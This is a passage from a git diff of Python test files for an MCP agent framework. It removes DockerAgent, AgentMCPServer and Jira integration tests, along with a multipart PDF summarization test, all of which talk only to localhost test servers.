- print(f" Status: {health_data.get('status', 'unknown')}") - print(f" Model loaded: {health_data.get('model_loaded', 'unknown')}") - return True - except requests.RequestException: - pass # Server not ready yet - - time.sleep(2) - - # Server not available - skip tests - pytest.skip( - f"Lemonade server not available after {timeout} seconds. Start with: lemonade-server serve --ctx-size 32768" - ) - - -@pytest.fixture -def test_flask_app(tmp_path) -> str: - """ - Create a real Flask application for Docker testing. - - Returns: - str: Absolute path to the Flask app directory - """ - app_dir = tmp_path / "test_flask_app" - app_dir.mkdir() - - # Create requirements.txt - requirements = app_dir / "requirements.txt" - requirements.write_text("flask==2.0.0\n") - - # Create app.py - app_py = app_dir / "app.py" - app_py.write_text( - """# Copyright(C) 2024-2025 Advanced Micro Devices, Inc. All rights reserved. -# SPDX-License-Identifier: MIT - -from flask import Flask - -app = Flask(__name__) - -@app.route('/') -def hello(): - return 'Hello from Docker test!' - -@app.route('/health') -def health(): - return {'status': 'healthy'} - -if __name__ == '__main__': - app.run(host='0.0.0.0', port=5000) -""" - ) - - return str(app_dir) - - -@pytest.fixture -def docker_cleanup(): - """ - Fixture to track and cleanup Docker resources after tests. - - Yields a dict with lists to track created resources. - """ - resources = {"images": [], "containers": []} - - yield resources - - # Cleanup after test - if resources["images"] or resources["containers"]: - print(f"\nCleaning up Docker resources...") - print(f" Images: {resources['images']}") - print(f" Containers: {resources['containers']}") - cleanup_docker_resources(resources["images"], resources["containers"]) - - # ============================================================================ # TEST: MCPAgent Abstract Interface # ============================================================================ @@ -293,332 +121,17 @@ def _register_tools(self): # ============================================================================ -# TEST: Optional Methods -# ============================================================================ - - -class TestOptionalMethods: - """ - Test optional MCP methods with real agents. - - Optional methods have default implementations that return empty lists/dicts. - Agents can override them if needed. - """ - - @pytest.mark.skipif(not HAS_DOCKER_AGENT, reason="DockerAgent not available") - def test_optional_methods_have_defaults(self): - """Optional methods return sensible defaults""" - agent = DockerAgent(silent_mode=True) - - # get_mcp_prompts() - optional - prompts = agent.get_mcp_prompts() - assert isinstance(prompts, list) - assert prompts == [] # Default is empty list - - # get_mcp_resources() - optional - resources = agent.get_mcp_resources() - assert isinstance(resources, list) - assert resources == [] # Default is empty list - - # get_mcp_server_info() - has default implementation - server_info = agent.get_mcp_server_info() - assert isinstance(server_info, dict) - assert "name" in server_info - assert "version" in server_info - assert "DockerAgent" in server_info["name"] - - @pytest.mark.skipif(not HAS_DOCKER_AGENT, reason="DockerAgent not available") - def test_server_info_includes_agent_name(self): - """Server info includes the agent class name""" - agent = DockerAgent(silent_mode=True) - server_info = agent.get_mcp_server_info() - - assert "GAIA DockerAgent" in server_info["name"] - assert server_info["version"] == "2.0.0" - - -# ============================================================================ -# TEST: MCP Protocol Compliance +# TEST: AgentMCPServer Contract # ============================================================================ -class TestMCPProtocolCompliance: - """ - Test MCP protocol compliance with real tool definitions. - - Validates that tool definitions follow the MCP specification: - - JSON serializable - - Correct schema structure - - Valid names (lowercase) - - Required fields present +class TestAgentMCPServerContract: """ + Test AgentMCPServer's own validation, independent of any concrete agent. - @pytest.mark.skipif(not HAS_DOCKER_AGENT, reason="DockerAgent not available") - def test_tool_definitions_are_list(self): - """get_mcp_tool_definitions() returns a list""" - agent = DockerAgent(silent_mode=True) - tools = agent.get_mcp_tool_definitions() - - assert isinstance(tools, list) - assert len(tools) > 0 - - @pytest.mark.skipif(not HAS_DOCKER_AGENT, reason="DockerAgent not available") - def test_tool_definitions_have_required_fields(self): - """Each tool definition has name, description, inputSchema""" - agent = DockerAgent(silent_mode=True) - tools = agent.get_mcp_tool_definitions() - - for tool in tools: - assert "name" in tool, f"Tool missing 'name': {tool}" - assert "description" in tool, f"Tool missing 'description': {tool}" - assert "inputSchema" in tool, f"Tool missing 'inputSchema': {tool}" - - # Validate types - assert isinstance(tool["name"], str) - assert isinstance(tool["description"], str) - assert isinstance(tool["inputSchema"], dict) - - @pytest.mark.skipif(not HAS_DOCKER_AGENT, reason="DockerAgent not available") - def test_input_schema_structure(self): - """inputSchema follows JSON Schema specification""" - agent = DockerAgent(silent_mode=True) - tools = agent.get_mcp_tool_definitions() - - for tool in tools: - schema = tool["inputSchema"] - - # Must have type: "object" - assert ( - schema.get("type") == "object" - ), f"Schema type must be 'object': {tool['name']}" - - # Must have properties - assert ( - "properties" in schema - ), f"Schema missing 'properties': {tool['name']}" - assert isinstance(schema["properties"], dict) - - # Optional: required field (array of strings) - if "required" in schema: - assert isinstance(schema["required"], list) - for req in schema["required"]: - assert isinstance(req, str) - assert ( - req in schema["properties"] - ), f"Required field '{req}' not in properties" - - @pytest.mark.skipif(not HAS_DOCKER_AGENT, reason="DockerAgent not available") - def test_tool_names_are_lowercase(self): - """Tool names must be lowercase (MCP convention)""" - agent = DockerAgent(silent_mode=True) - tools = agent.get_mcp_tool_definitions() - - for tool in tools: - name = tool["name"] - assert name == name.lower(), f"Tool name must be lowercase: '{name}'" - - # Allow alphanumeric, hyphens, underscores - assert all( - c.isalnum() or c in "-_" for c in name - ), f"Tool name contains invalid characters: '{name}'" - - @pytest.mark.skipif(not HAS_DOCKER_AGENT, reason="DockerAgent not available") - def test_tool_descriptions_non_empty(self): - """Tool descriptions must be non-empty""" - agent = DockerAgent(silent_mode=True) - tools = agent.get_mcp_tool_definitions() - - for tool in tools: - desc = tool["description"] - assert len(desc) > 0, f"Tool '{tool['name']}' has empty description" - assert ( - len(desc.strip()) > 0 - ), f"Tool '{tool['name']}' has whitespace-only description" - - @pytest.mark.skipif(not HAS_DOCKER_AGENT, reason="DockerAgent not available") - def test_tool_definitions_json_serializable(self): - """All tool definitions must be JSON serializable""" - agent = DockerAgent(silent_mode=True) - tools = agent.get_mcp_tool_definitions() - - # Should not raise - json_str = json.dumps(tools) - - # Verify round-trip - parsed = json.loads(json_str) - assert len(parsed) == len(tools) - - # Verify structure preserved - for i, tool in enumerate(tools): - assert parsed[i]["name"] == tool["name"] - assert parsed[i]["description"] == tool["description"] - - -# ============================================================================ -# TEST: DockerAgent MCP Implementation -# ============================================================================ - - -@pytest.mark.skipif(not HAS_DOCKER_AGENT, reason="DockerAgent not available") -class TestDockerAgentMCP: - """ - Test DockerAgent MCP implementation with REAL Docker and LLM. - - These are full integration tests that: - - Use real Docker CLI commands - - Use real LLM orchestration via process_query() - - Create actual Docker images and containers - - Test end-to-end workflows - """ - - def test_docker_agent_is_mcp_agent(self): - """DockerAgent inherits from MCPAgent""" - agent = DockerAgent(silent_mode=True) - assert isinstance(agent, MCPAgent) - - def test_docker_agent_has_dockerize_tool(self): - """DockerAgent provides 'dockerize' tool""" - agent = DockerAgent(silent_mode=True) - tools = agent.get_mcp_tool_definitions() - - tool_names = [t["name"] for t in tools] - assert "dockerize" in tool_names - - # Find dockerize tool - dockerize_tool = next(t for t in tools if t["name"] == "dockerize") - assert "appPath" in dockerize_tool["inputSchema"]["properties"] - - @pytest.mark.slow - def test_execute_dockerize_invalid_tool_name(self): - """execute_mcp_tool with invalid tool name raises ValueError""" - agent = DockerAgent(silent_mode=True) - - with pytest.raises(ValueError, match="Unknown tool"): - agent.execute_mcp_tool("nonexistent_tool", {}) - - @pytest.mark.slow - def test_execute_dockerize_missing_app_path(self): - """execute_mcp_tool with missing appPath returns error""" - agent = DockerAgent(silent_mode=True) - - result = agent.execute_mcp_tool("dockerize", {}) - - assert result["success"] is False - assert "appPath" in result["error"] - - @pytest.mark.slow - def test_execute_dockerize_invalid_path(self, tmp_path): - """execute_mcp_tool with non-existent path returns error""" - # Allow tmp_path so we can test the "does not exist" error - agent = DockerAgent(silent_mode=True, allowed_paths=[str(tmp_path)]) - - # Use absolute path that doesn't exist - nonexistent_path = tmp_path / "nonexistent_dir" - # Don't create it - - result = agent.execute_mcp_tool("dockerize", {"appPath": str(nonexistent_path)}) - - assert result["success"] is False - assert "does not exist" in result["error"] - - @pytest.mark.slow - @pytest.mark.integration - def test_dockerize_full_workflow( - self, docker_available, lemonade_server, test_flask_app, docker_cleanup - ): - """ - Full dockerize workflow: analyze → Dockerfile → build → run - - This is the most comprehensive test - uses REAL Docker and LLM. - Tests the complete agent orchestration pipeline. - """ - agent = DockerAgent( - silent_mode=True, max_steps=30, allowed_paths=[test_flask_app] - ) # Docker ops can take many steps - - # Track resources for cleanup - app_name = Path(test_flask_app).name.lower().replace("_", "-") - docker_cleanup["images"].append(f"{app_name}:latest") - docker_cleanup["containers"].append(f"{app_name}-container") - - # Execute dockerize tool - LLM orchestrates everything - result = agent.execute_mcp_tool( - "dockerize", {"appPath": test_flask_app, "port": 5000} - ) - - # Verify workflow completed - # Note: Result format may vary based on agent implementation - # Accept either "success": True or "status": "completed" - assert ( - result.get("success") is True or result.get("status") == "completed" - ), f"Dockerize failed: {result}" - - # Verify Dockerfile was created - dockerfile_path = Path(test_flask_app) / "Dockerfile" - assert dockerfile_path.exists(), "Dockerfile not created" - - # Verify Dockerfile content - dockerfile_content = dockerfile_path.read_text() - assert "FROM python:" in dockerfile_content, "Invalid Dockerfile - missing FROM" - assert ( - "COPY requirements.txt" in dockerfile_content - ), "Invalid Dockerfile - missing COPY requirements" - assert ( - "RUN pip install" in dockerfile_content - ), "Invalid Dockerfile - missing pip install" - assert ( - "EXPOSE 5000" in dockerfile_content - ), "Invalid Dockerfile - missing EXPOSE" - - # Verify Docker image was built - # Check if image exists - check_image = subprocess.run( - ["docker", "images", "-q", f"{app_name}:latest"], - capture_output=True, - text=True, - timeout=10, - ) - assert ( - len(check_image.stdout.strip()) > 0 - ), f"Docker image {app_name}:latest not found" - - -# ============================================================================ -# TEST: AgentMCPServer Integration -# ============================================================================ - - -@pytest.mark.skipif(not HAS_DOCKER_AGENT, reason="DockerAgent not available") -class TestAgentMCPServer: - """ - Test AgentMCPServer wrapper with real FastMCP. - - Tests that AgentMCPServer correctly wraps MCPAgent subclasses - and registers tools with FastMCP. + No external services needed - pure Python class testing. """ - def test_server_initialization_with_docker_agent(self): - """AgentMCPServer can wrap DockerAgent""" - server = AgentMCPServer( - agent_class=DockerAgent, - name="Test Docker MCP Server", - port=8080, - host="localhost", - verbose=False, - agent_params={"silent_mode": True}, - ) - - # Verify agent created - assert server.agent is not None - assert isinstance(server.agent, DockerAgent) - assert isinstance(server.agent, MCPAgent) - - # Verify configuration - assert server.name == "Test Docker MCP Server" - assert server.port == 8080 - assert server.host == "localhost" - assert server.verbose is False - def test_server_requires_mcp_agent_subclass(self): """AgentMCPServer rejects non-MCPAgent classes""" @@ -627,243 +140,3 @@ class NotAnAgent: with pytest.raises(TypeError, match="must inherit from MCPAgent"): AgentMCPServer(agent_class=NotAnAgent, agent_params={}) - - def test_server_creates_fastmcp_instance(self): - """AgentMCPServer creates FastMCP instance""" - server = AgentMCPServer( - agent_class=DockerAgent, agent_params={"silent_mode": True} - ) - - # Verify FastMCP created - assert server.mcp is not None - assert hasattr(server.mcp, "settings") - assert hasattr(server.mcp, "run") - - def test_server_configures_host_and_port(self): - """AgentMCPServer configures FastMCP with host and port""" - server = AgentMCPServer( - agent_class=DockerAgent, - port=9090, - host="0.0.0.0", - agent_params={"silent_mode": True}, - ) - - assert server.mcp.settings.host == "0.0.0.0" - assert server.mcp.settings.port == 9090 - - def test_server_registers_agent_tools(self): - """AgentMCPServer registers all agent tools with FastMCP""" - server = AgentMCPServer( - agent_class=DockerAgent, agent_params={"silent_mode": True} - ) - - # Get tools from agent - agent_tools = server.agent.get_mcp_tool_definitions() - assert len(agent_tools) > 0 - - # Tools should be registered with FastMCP - # Note: FastMCP API for listing tools may vary - # This is a basic check that tools were registered - assert hasattr(server.mcp, "tool") - - def test_server_passes_agent_params(self): - """AgentMCPServer passes agent_params to agent constructor""" - server = AgentMCPServer( - agent_class=DockerAgent, - agent_params={"silent_mode": True, "max_steps": 20, "debug": True}, - ) - - # Verify agent received parameters - assert server.agent.silent_mode is True - assert server.agent.max_steps == 20 - assert server.agent.debug is True - - def test_server_default_configuration(self): - """AgentMCPServer uses default configuration when not specified""" - server = AgentMCPServer( - agent_class=DockerAgent, agent_params={"silent_mode": True} - ) - - # Should use defaults - assert "GAIA DockerAgent" in server.name - assert server.port == 8080 # MCP_DEFAULT_PORT - assert server.host == "localhost" # MCP_DEFAULT_HOST - - -# ============================================================================ -# TEST: Docker Operations (Individual Tools) -# ============================================================================ - - -@pytest.mark.skipif(not HAS_DOCKER_AGENT, reason="DockerAgent not available") -class TestDockerOperations: - """ - Test individual Docker operations with real Docker CLI. - - Tests the internal agent methods directly to validate - Docker command generation and execution. - """ - - def test_analyze_directory_flask_app(self, test_flask_app): - """Analyze directory detects Flask application""" - agent = DockerAgent(silent_mode=True, allowed_paths=[test_flask_app]) - - result = agent._analyze_directory(test_flask_app) - - assert result["app_type"] == "flask" - assert result["entry_point"] == "app.py" - assert result["dependencies"] == "requirements.txt" - assert result["port"] == 8080 # DEFAULT_PORT from DockerAgent - - def test_analyze_directory_nonexistent(self): - """Analyze directory handles non-existent path""" - # Allow the nonexistent path so we can test the "does not exist" error - agent = DockerAgent(silent_mode=True, allowed_paths=["/nonexistent"]) - - result = agent._analyze_directory("/nonexistent/path") - - assert result["status"] == "error" - assert "does not exist" in result["error"] - - def test_save_dockerfile(self, test_flask_app): - """Save Dockerfile creates file with correct content""" - agent = DockerAgent(silent_mode=True, allowed_paths=[test_flask_app]) - - dockerfile_content = """# Copyright(C) 2024-2025 Advanced Micro Devices, Inc. All rights reserved. -# SPDX-License-Identifier: MIT - -FROM python:3.9-slim -WORKDIR /app -COPY requirements.txt . -RUN pip install --no-cache-dir -r requirements.txt -COPY . . -EXPOSE 5000 -CMD ["python", "app.py"] -""" - - result = agent._save_dockerfile( - dockerfile_content=dockerfile_content, path=test_flask_app, port=5000 - ) - - assert result["status"] == "success" - - # Verify Dockerfile created - dockerfile = Path(test_flask_app) / "Dockerfile" - assert dockerfile.exists() - - # Verify content - content = dockerfile.read_text() - assert "FROM python:3.9-slim" in content - assert "EXPOSE 5000" in content - - @pytest.mark.slow - @pytest.mark.integration - def test_build_image_real_docker( - self, docker_available, test_flask_app, docker_cleanup - ): - """Build Docker image with real Docker CLI""" - agent = DockerAgent(silent_mode=True, allowed_paths=[test_flask_app]) - - # First create Dockerfile - dockerfile_content = """# Copyright(C) 2024-2025 Advanced Micro Devices, Inc. All rights reserved. -# SPDX-License-Identifier: MIT - -FROM python:3.9-slim -WORKDIR /app -COPY requirements.txt . -RUN pip install --no-cache-dir -r requirements.txt -COPY . . -EXPOSE 5000 -CMD ["python", "app.py"] -""" - agent._save_dockerfile(dockerfile_content, test_flask_app, 5000) - - # Build image - image_tag = "test-flask-build:latest" - docker_cleanup["images"].append(image_tag) - - result = agent._build_image(test_flask_app, image_tag) - - assert result["success"] is True - assert result["image"] == image_tag - - # Verify image exists - check_result = subprocess.run( - ["docker", "images", "-q", image_tag], - capture_output=True, - text=True, - timeout=10, - ) - assert len(check_result.stdout.strip()) > 0 - - -# ============================================================================ -# TEST: Error Handling -# ============================================================================ - - -@pytest.mark.skipif(not HAS_DOCKER_AGENT, reason="DockerAgent not available") -class TestErrorHandling: - """ - Test error handling with real failure scenarios. - - Tests how agents handle invalid inputs, missing files, - and Docker failures. - """ - - def test_execute_tool_unknown_tool_name(self): - """Executing unknown tool raises ValueError""" - agent = DockerAgent(silent_mode=True) - - with pytest.raises(ValueError, match="Unknown tool"): - agent.execute_mcp_tool("invalid_tool_name", {}) - - def test_dockerize_missing_required_parameter(self): - """Dockerize without appPath returns error""" - agent = DockerAgent(silent_mode=True) - - result = agent.execute_mcp_tool("dockerize", {}) - - assert result["success"] is False - assert "appPath is required" in result["error"] - - def test_dockerize_non_absolute_path(self): - """Dockerize with relative path returns error""" - agent = DockerAgent(silent_mode=True) - - result = agent.execute_mcp_tool("dockerize", {"appPath": "relative/path"}) - - assert result["success"] is False - assert "must be an absolute path" in result["error"] - - def test_dockerize_path_does_not_exist(self, tmp_path): - """Dockerize with non-existent path returns error""" - # Allow tmp_path so we can test the "does not exist" error - agent = DockerAgent(silent_mode=True, allowed_paths=[str(tmp_path)]) - - # Use absolute path that doesn't exist - nonexistent_path = tmp_path / "nonexistent_dir_12345" - # Don't create it - we want it to not exist - - result = agent.execute_mcp_tool("dockerize", {"appPath": str(nonexistent_path)}) - - assert result["success"] is False - assert "does not exist" in result["error"] - - def test_dockerize_path_is_file_not_directory(self, tmp_path): - """Dockerize with file path (not directory) returns error""" - # Allow tmp_path so we can test the "not a directory" error - agent = DockerAgent(silent_mode=True, allowed_paths=[str(tmp_path)]) - - # Create a file - test_file = tmp_path / "test_file.txt" - test_file.write_text("test") - - result = agent.execute_mcp_tool("dockerize", {"appPath": str(test_file)}) - - assert result["success"] is False - assert "not a directory" in result["error"] - - -if __name__ == "__main__": - pytest.main([__file__, "-v", "-s"]) diff --git a/tests/mcp/test_mcp_http_validation.py b/tests/mcp/test_mcp_http_validation.py index f2e8eb241..ff9188b2f 100644 --- a/tests/mcp/test_mcp_http_validation.py +++ b/tests/mcp/test_mcp_http_validation.py @@ -109,35 +109,12 @@ def test_list_tools(): # Check for required tools tool_names = [t.get("name") for t in tools if isinstance(t, dict)] - assert "gaia.jira" in tool_names, "Jira tool not found" assert "gaia.query" in tool_names, "Query tool not found" print(f" 📋 Found {len(tools)} tools: {', '.join(tool_names[:5])}") return True -@test("Direct Jira Endpoint", "Test direct Jira operations via /jira") -def test_direct_jira(): - # Skip in CI environment as it requires authentication - import os - - if os.environ.get("CI") == "true" or os.environ.get("GITHUB_ACTIONS") == "true": - print(" ⏭️ SKIPPED (CI environment - requires auth)") - return True - - data = {"query": "show issues in project MDP limit 3"} - response = make_request("/jira", method="POST", data=data) - - assert "success" in response, "Missing success field" - assert response["success"] is True, f"Operation failed: {response.get('error')}" - assert "steps_taken" in response, "Missing steps_taken field" - - print(f" 📊 Steps taken: {response['steps_taken']}") - if response.get("result"): - print(f" 📝 Result preview: {response['result'][:100]}...") - return True - - @test("JSON-RPC Initialize", "Test JSON-RPC initialization") def test_jsonrpc_initialize(): data = {"jsonrpc": "2.0", "id": "test-init", "method": "initialize", "params": {}} @@ -182,40 +159,6 @@ def test_jsonrpc_tool_list(): return True -@test("JSON-RPC Jira Call", "Test Jira operations via JSON-RPC tools/call") -def test_jsonrpc_jira_call(): - # Skip in CI environment as it requires authentication - import os - - if os.environ.get("CI") == "true" or os.environ.get("GITHUB_ACTIONS") == "true": - print(" ⏭️ SKIPPED (CI environment - requires auth)") - return True - - data = { - "jsonrpc": "2.0", - "id": "test-jira", - "method": "tools/call", - "params": { - "name": "gaia.jira", - "arguments": {"query": "show my assigned issues", "operation": "query"}, - }, - } - response = make_request("/", method="POST", data=data) - - assert "result" in response, f"Missing result: {response}" - result = response["result"] - assert "content" in result, "Missing content in result" - assert len(result["content"]) > 0, "Empty content" - - content = json.loads(result["content"][0]["text"]) - assert "success" in content, "Missing success field in content" - - print(f" ✨ Jira call successful via JSON-RPC") - if content.get("steps_taken"): - print(f" 📊 Steps: {content['steps_taken']}") - return True - - @test("Error Handling - Invalid Endpoint", "Test 404 handling") def test_error_404(): response = make_request("/invalid-endpoint") @@ -300,14 +243,6 @@ def test_performance(): # More reasonable threshold: 3 seconds for health check assert elapsed < 3.0, f"Health check too slow: {elapsed:.2f}s" print(f" ⚡ Health check: {elapsed*1000:.0f}ms (after warm-up)") - - # Test Jira endpoint - start = time.time() - data = {"query": "show 1 issue"} - response = make_request("/jira", method="POST", data=data) - elapsed = time.time() - start - - print(f" ⚡ Jira query: {elapsed:.2f}s") return True @@ -322,10 +257,8 @@ def run_all_tests(): # Run tests test_health() test_list_tools() - test_direct_jira() test_jsonrpc_initialize() test_jsonrpc_tool_list() - test_jsonrpc_jira_call() test_error_404() test_error_invalid_jsonrpc() test_error_unknown_tool() diff --git a/tests/mcp/test_mcp_integration.py b/tests/mcp/test_mcp_integration.py index 7c5ebc4ca..6ec1c7eaa 100644 --- a/tests/mcp/test_mcp_integration.py +++ b/tests/mcp/test_mcp_integration.py @@ -3,7 +3,7 @@ # Copyright(C) 2024-2025 Advanced Micro Devices, Inc. All rights reserved. # SPDX-License-Identifier: MIT -"""Test MCP Bridge Integration for Jira Agent.""" +"""Test MCP Bridge Integration (connectivity + JSON-RPC tools/list).""" import json import sys @@ -18,7 +18,7 @@ def test_mcp_bridge(): - """Test MCP bridge connectivity and Jira integration.""" + """Test MCP bridge connectivity and JSON-RPC tools/list.""" base_url = "http://localhost:8765" diff --git a/tests/mcp/test_mcp_jira.py b/tests/mcp/test_mcp_jira.py deleted file mode 100644 index 527e34a5f..000000000 --- a/tests/mcp/test_mcp_jira.py +++ /dev/null @@ -1,129 +0,0 @@ -#!/usr/bin/env python -# -# Copyright(C) 2024-2025 Advanced Micro Devices, Inc. All rights reserved. -# SPDX-License-Identifier: MIT - -"""Test MCP-based Jira integration.""" - -import io -import json -import sys -import urllib.error -import urllib.request -import uuid - -# Fix Unicode output on Windows -if sys.platform == "win32": - sys.stdout = io.TextIOWrapper(sys.stdout.buffer, encoding="utf-8") - - -def test_mcp_jira(): - """Test Jira operations through MCP bridge.""" - base_url = "http://localhost:8765" - - print("=" * 60) - print("Testing MCP-First Jira Integration") - print("=" * 60) - - try: - # Check connection first - with urllib.request.urlopen(f"{base_url}/health") as response: - health_data = json.loads(response.read().decode("utf-8")) - if health_data.get("status") == "healthy": - print("\n✅ Connected to MCP bridge") - else: - print("\n❌ MCP bridge not healthy") - return False - - # Test 1: Simple Jira query - print("\n1. Testing Jira query through MCP...") - request = { - "jsonrpc": "2.0", - "id": str(uuid.uuid4()), - "method": "tools/call", - "params": { - "name": "gaia.jira", - "arguments": { - "query": "show issues in project MDP", - "operation": "query", - }, - }, - } - - req_data = json.dumps(request).encode("utf-8") - req = urllib.request.Request( - base_url, - data=req_data, - headers={"Content-Type": "application/json"}, - method="POST", - ) - - with urllib.request.urlopen(req) as response: - response_data = json.loads(response.read().decode("utf-8")) - - if "result" in response_data: - print("✅ Received response from Jira agent") - result = response_data["result"] - if "content" in result and len(result["content"]) > 0: - content = json.loads(result["content"][0]["text"]) - if content.get("success"): - print( - f"✅ Query successful: {content.get('result', '')[:100]}..." - ) - print(f" Steps taken: {content.get('steps_taken', 0)}") - else: - print( - f"❌ Query failed: {content.get('error', 'Unknown error')}" - ) - elif "error" in response_data: - print(f"❌ MCP Error: {response_data['error']}") - - # Test 2: List available tools - print("\n2. Checking tool registration...") - list_request = { - "jsonrpc": "2.0", - "id": str(uuid.uuid4()), - "method": "tools/list", - "params": {}, - } - - req_data = json.dumps(list_request).encode("utf-8") - req = urllib.request.Request( - base_url, - data=req_data, - headers={"Content-Type": "application/json"}, - method="POST", - ) - - with urllib.request.urlopen(req) as response: - response_data = json.loads(response.read().decode("utf-8")) - - if "result" in response_data: - tools = response_data["result"].get("tools", []) - jira_tools = [t for t in tools if "jira" in t.get("name", "").lower()] - print(f"✅ Found {len(jira_tools)} Jira-related tools:") - for tool in jira_tools: - print(f" - {tool.get('name')}: {tool.get('description')}") - - return True - - except Exception as e: - print(f"❌ Test failed: {e}") - return False - - -def main(): - success = test_mcp_jira() - - print("\n" + "=" * 60) - if success: - print("✅ MCP-First Jira Integration Working!") - print("The Jira agent is now accessible through the MCP bridge.") - else: - print("❌ MCP-First Jira Integration Failed") - print("Check that the MCP bridge is running with updated code.") - print("=" * 60) - - -if __name__ == "__main__": - main() diff --git a/tests/mcp/test_mcp_simple.py b/tests/mcp/test_mcp_simple.py index ae10608aa..3133a2933 100644 --- a/tests/mcp/test_mcp_simple.py +++ b/tests/mcp/test_mcp_simple.py @@ -57,40 +57,8 @@ def test_mcp_bridge(): print(f"❌ FAILED - {e}") return False - # Test 3: Jira Endpoint - print("3. Jira Endpoint... ", end="") - try: - req_data = json.dumps({"query": "show 1 issue"}).encode("utf-8") - req = urllib.request.Request( - f"{base_url}/jira", - data=req_data, - headers={"Content-Type": "application/json"}, - method="POST", - ) - with urllib.request.urlopen(req) as response: - data = json.loads(response.read().decode("utf-8")) - if data.get("success") or "result" in data: - print("✅ PASSED") - else: - print(f"❌ FAILED - {data.get('error', 'Unknown error')}") - return False - except urllib.error.HTTPError as e: - # In CI without Jira credentials, endpoint may return 500 - import os - - if ( - os.environ.get("CI") == "true" or os.environ.get("GITHUB_ACTIONS") == "true" - ) and e.code == 500: - print("⚠️ EXPECTED (No Jira credentials in CI)") - else: - print(f"❌ FAILED - HTTP Error {e.code}: {e.reason}") - return False - except Exception as e: - print(f"❌ FAILED - {e}") - return False - - # Test 4: LLM Endpoint - print("4. LLM Endpoint... ", end="") + # Test 3: LLM Endpoint + print("3. LLM Endpoint... ", end="") try: req_data = json.dumps({"query": "What is 2+2?"}).encode("utf-8") req = urllib.request.Request( diff --git a/tests/mcp/test_mcp_summarize.py b/tests/mcp/test_mcp_summarize.py deleted file mode 100644 index 60b8dfd54..000000000 --- a/tests/mcp/test_mcp_summarize.py +++ /dev/null @@ -1,235 +0,0 @@ -# Copyright(C) 2025-2026 Advanced Micro Devices, Inc. All rights reserved. -# SPDX-License-Identifier: MIT - -import io -import json -import os -import shutil -import sys -import tempfile -import urllib.request -import uuid -from pathlib import Path - -if sys.platform == "win32": - sys.stdout = io.TextIOWrapper(sys.stdout.buffer, encoding="utf-8") - - -def _print_header(title: str): - print("=" * 60) - print(title) - print("=" * 60) - - -def _check_health(base_url: str): - req_health = urllib.request.Request( - f"{base_url}/health", - headers={"Connection": "close"}, - method="GET", - ) - opener = urllib.request.build_opener() - with opener.open(req_health, timeout=15) as response: - health = json.loads(response.read().decode("utf-8")) - if health.get("status") == "healthy": - print("\n✅ Connected to MCP bridge") - else: - print("\n❌ MCP bridge not healthy") - assert False, "MCP bridge not healthy" - - -def _prepare_temp_pdf() -> Path: - repo_root = Path(__file__).resolve().parents[2] - src_pdf = ( - repo_root / "data" / "pdf" / "Oil-and-Gas-Activity-Operations-Manual-1-10.pdf" - ) - assert src_pdf.exists(), f"Missing test PDF at {src_pdf}" - tmp = tempfile.NamedTemporaryFile(delete=False, suffix=".pdf") - tmp.close() - shutil.copyfile(src_pdf, tmp.name) - return Path(tmp.name) - - -def _build_multipart_form(fields, files): - boundary = f"----WebKitFormBoundary{uuid.uuid4().hex}" - lines = [] - for name, value in fields.items(): - lines.append(f"--{boundary}") - lines.append(f'Content-Disposition: form-data; name="{name}"') - lines.append("") - lines.append(str(value)) - for name, (filename, content, content_type) in files.items(): - lines.append(f"--{boundary}") - lines.append( - f'Content-Disposition: form-data; name="{name}"; filename="{filename}"' - ) - lines.append(f"Content-Type: {content_type}") - lines.append("") - # bytes payload appended later - lines.append(content) - # Each part must end with CRLF before the next boundary - lines.append("\r\n") - lines.append(f"--{boundary}--") - body = bytearray() - for part in lines: - if isinstance(part, bytes): - body.extend(part) - else: - body.extend((part + "\r\n").encode("utf-8")) - return boundary, bytes(body) - - -def _open_json(req, timeout=30): - """Open a URL request and return (status, payload) with robust error handling. - Converts non-JSON error bodies and connection drops into synthetic error payloads. - """ - opener = urllib.request.build_opener() - try: - with opener.open(req, timeout=timeout) as response: - status = response.getcode() - payload = json.loads(response.read().decode("utf-8")) - return status, payload - except urllib.error.HTTPError as e: - status = e.code - try: - payload = json.loads(e.read().decode("utf-8")) - except Exception: - payload = {"error": "HTTP error without JSON"} - return status, payload - except urllib.error.URLError as e: - return 400, {"error": f"Connection closed: {e}"} - except Exception as e: - # Defensive: treat unexpected exceptions as client error for this test - return 400, {"error": str(e)} - - -def test_mcp_summarize_multipart_pdf(): - base_url = "http://localhost:8765" - - _print_header("Testing MCP Summarize (multipart) Integration") - _check_health(base_url) - - # Prepare a test PDF from repo data - tmp_pdf = _prepare_temp_pdf() - - try: - with open(tmp_pdf, "rb") as f: - file_bytes = f.read() - fields = {"style": "brief"} - files = {"file": ("test.pdf", file_bytes, "application/pdf")} - boundary, body = _build_multipart_form(fields, files) - req = urllib.request.Request( - f"{base_url}/summarize", - data=body, - headers={ - "Content-Type": f"multipart/form-data; boundary={boundary}", - "Connection": "close", - "Content-Length": str(len(body)), - "Accept": "application/json", - }, - method="POST", - ) - opener = urllib.request.build_opener() - with opener.open(req, timeout=60) as response: - j = json.loads(response.read().decode("utf-8")) - if j.get("success"): - print("✅ Received summarization result (multipart)") - else: - print(f"❌ Summarize failed: {j}") - assert j.get("success") is True - assert isinstance(j.get("result"), dict) - finally: - try: - os.unlink(tmp_pdf) - except Exception: - pass - - -def test_summarize_missing_boundary_returns_client_error(): - base_url = "http://localhost:8765" - - _print_header("Summarize: missing boundary -> client error") - _check_health(base_url) - - # Build body but omit boundary parameter in header - boundary, body = _build_multipart_form({}, {}) - req = urllib.request.Request( - f"{base_url}/summarize", - data=body, - headers={ - "Content-Type": "multipart/form-data", - "Connection": "close", - "Content-Length": str(len(body)), - "Accept": "application/json", - }, - method="POST", - ) - status, payload = _open_json(req, timeout=30) - # Display MCP error payload for visibility - print(f"Status: {status}") - print(f"Error: {payload.get('error')}") - assert status in (400, 500) - assert payload.get("error") - - -def test_summarize_missing_file_returns_client_error(): - base_url = "http://localhost:8765" - - _print_header("Summarize: missing file -> client error") - _check_health(base_url) - - boundary, body = _build_multipart_form({"style": "brief"}, {}) - req = urllib.request.Request( - f"{base_url}/summarize", - data=body, - headers={ - "Content-Type": f"multipart/form-data; boundary={boundary}", - "Connection": "close", - "Content-Length": str(len(body)), - "Accept": "application/json", - }, - method="POST", - ) - status, payload = _open_json(req, timeout=30) - if "success" not in payload: - payload["success"] = False - # Display MCP error payload for visibility - print(f"Status: {status}") - print(f"Error: {payload.get('error')}") - assert status in (400, 500) - assert payload.get("success") is False - assert "No file uploaded" in payload.get("error", "") - - -def main(): - def run_test(label, func): - try: - func() - return True - except Exception as e: - print(f"❌ {label} failed: {e}") - return False - - results = [ - run_test("Multipart test", 